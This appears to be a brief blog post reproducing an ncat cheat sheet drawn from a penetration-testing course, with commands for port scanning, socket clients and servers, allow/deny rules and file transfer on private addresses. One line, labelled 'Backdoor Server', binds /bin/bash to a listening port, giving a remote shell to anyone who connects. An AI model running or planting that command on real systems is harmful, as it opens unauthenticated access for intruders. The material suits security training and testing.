Reference: https://www.sans.org/security-resources/sec560/netcat_cheat_sheet_v1.pdf
This cheat sheet is based on the rewritten version of NetCat, namely ncat, which is portion of Nmap.
Port Scan:
# ncat -z -w1 -n -v 192.168.0.251 22
Socket Client:
# ncat -nvv 192.168.0.251 443
Socket Server:
# ncat -vv -l -p 443
Keepalived Socket Server:
In Windows:
cmd > nc -L -p 443
In Linux/Unix:
# ncat -k -p 443
Authentication Server allowing specific clients:
Only allow 192.168.0.253 to connect the socket:
ncat --allow 192.168.0.253 -vv -l -p 443
Only deny 192.168.0.251 to connect the socket:
ncat --deny 192.168.0.251 -vv -l -p 443
Backdoor Server:
# ncat -l -p 888 -e /bin/bash
File Transferring:
Recepient / Server:
# ncat -l -p 8888 > /tmp/test.txt
Sender / Client:
# ncat -w3 -n 192.168.0.253 8888 < ./test.txt
No comments:
Post a Comment